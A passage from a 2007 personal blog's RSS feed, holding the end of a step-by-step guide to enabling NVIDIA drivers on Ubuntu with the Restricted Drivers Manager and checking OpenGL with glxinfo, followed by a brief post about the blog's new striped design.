<p>1. Reconfigure x (the desktop environment), like this:</p>
<pre>$ sudo dpkg-reconfigure -phigh xserver-xorg</pre>
<p>2. Once thats completed, restart x:</p>
<pre>$ startx</pre>
<p>3. Once in, head to synaptic to install the correct drivers: Applications / &#8216;Add/Remove&#8217;.</p>
<p>4. Search for &#8216;drivers&#8217; and check the box for &#8216;Restricted Drivers Manager&#8217;. Apply Changes.</p>
<p>5. Once installed, go there: System / Administration / Restricted Drivers Manager.</p>
<p>6. Check the box next to the NVidia drivers it found to enable them. You will be prompted to log out or reboot (this was the first time I&#8217;ve ever been prompted to reboot in linux).</p>
<p>Once you log out or reboot you should be good.</p>
<p>7. You may want to adjust your screen resolution: System / Preferences / Screen Resolution.</p>
<p>8. You may also want to verify that openGL is installed. For me, this is a necessary component for both Compiz and World of Warcraft via Wine.</p>
<pre>$ glxinfo | grep rendering</pre>
<p>If openGL is installed (which it should be if everything else ran correctly), it will say:</p>
<pre>direct rendering: Yes</pre>
<p>or maybe direct rendering: woohoo! on some machines (jk). Good luck.</p>
<p> <a href="http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/#more-10" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Ubuntu%3A&amp;Description=Ubuntu%3A&amp;Url=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/&amp;title=Ubuntu%3A" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/&amp;title=Ubuntu%3A" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Ubuntu%3A&amp;u=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/&amp;title=Ubuntu%3A&amp;description=Ubuntu%3A" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/&amp;h=Ubuntu%3A" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/&amp;title=Ubuntu%3A" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/&amp;title=Ubuntu%3A" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Just</title>
		<link>http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/</link>
		<comments>http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/#comments</comments>
		<pubDate>Thu, 22 Nov 2007 10:04:54 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Design]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/</guid>
		<description><![CDATA[Look around and enjoy the fresh new stripedy goodness of tylermcmanus.com. Thank you, StripeMania.
Oh, and favicon.cc is a great place to make your own favicons, too.


















]]></description>
			<content:encoded><![CDATA[<p>Look around and enjoy the fresh new stripedy goodness of tylermcmanus.com. Thank you, <a href="http://www.stripemania.com/">StripeMania</a>.</p>
<p>Oh, and <a href="http://www.favicon.cc/">favicon.cc</a> is a great place to make your own favicons, too.</p>
<p> <a href="http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/#more-9" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Just&amp;Description=Just&amp;Url=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/&amp;title=Just" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/&amp;title=Just" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Just&amp;u=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/&amp;title=Just&amp;description=Just" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/&amp;h=Just" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/&amp;title=Just" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/&amp;title=Just" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/11/22/just-call-me-stripey-mcstriperson/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
